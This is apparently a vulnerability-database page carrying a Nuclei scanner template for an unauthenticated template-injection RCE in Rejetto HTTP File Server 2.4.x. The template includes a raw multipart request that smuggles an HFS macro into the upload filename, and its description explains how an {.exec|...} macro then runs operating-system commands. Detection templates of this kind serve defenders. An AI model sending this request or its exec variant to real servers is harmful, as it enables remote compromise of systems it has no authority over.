Lucene search
+L

Rejetto HTTP File Server 2.4.x - Template Injection

🗓️ 27 Oct 2026 03:13:13Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 7 Views

Unauthenticated RCE in Rejetto HTTP File Server via template injection in filenames.

Related
Refs
Code
id: CVE-2026-97359

info:
  name: Rejetto HTTP File Server 2.4.x - Template Injection
  author: kosoyyagent
  severity: critical
  description: |
    Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.
  impact: |
    Unauthenticated attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to a version later than 2.4.0 or the latest available version.
  reference:
    - https://github.com/wgetnz/hfs2/blob/master/advisories/hfs2-upload-filename-template-injection/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-97359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-97359
    epss-score: 0.01411
    epss-percentile: 0.72481
    cwe-id: CWE-1336
  metadata:
    max-request: 1
    vendor: rejetto
    product: http_file_server
    shodan-query: http.html:"HttpFileServer" || product:"HFS"
    fofa-query: app="HFS"
  tags: cve,cve2026,hfs,rejetto,ssti,rce,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----NucleiBoundaryV7k2
        Connection: close

        ------NucleiBoundaryV7k2
        Content-Disposition: form-data; name="f"; filename="%item-resource%:}{.add|7000000|788.}"
        Content-Type: application/octet-stream

        hi
        ------NucleiBoundaryV7k2--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '7000788'
          - '"err":"Not allowed."'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008674eac86b89b35a33477f783180a731a0c41a4cdde8648811499e66b50b7d1802204bfc9613191f359a41ad794ad94b6a4befe77995e34f06cf6df2a5e43896de36:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2026 08:37Current
6.4Medium risk
Vulners AI Score6.4
CVSS 410
CVSS 3.110
EPSS0.05516
SSVC
7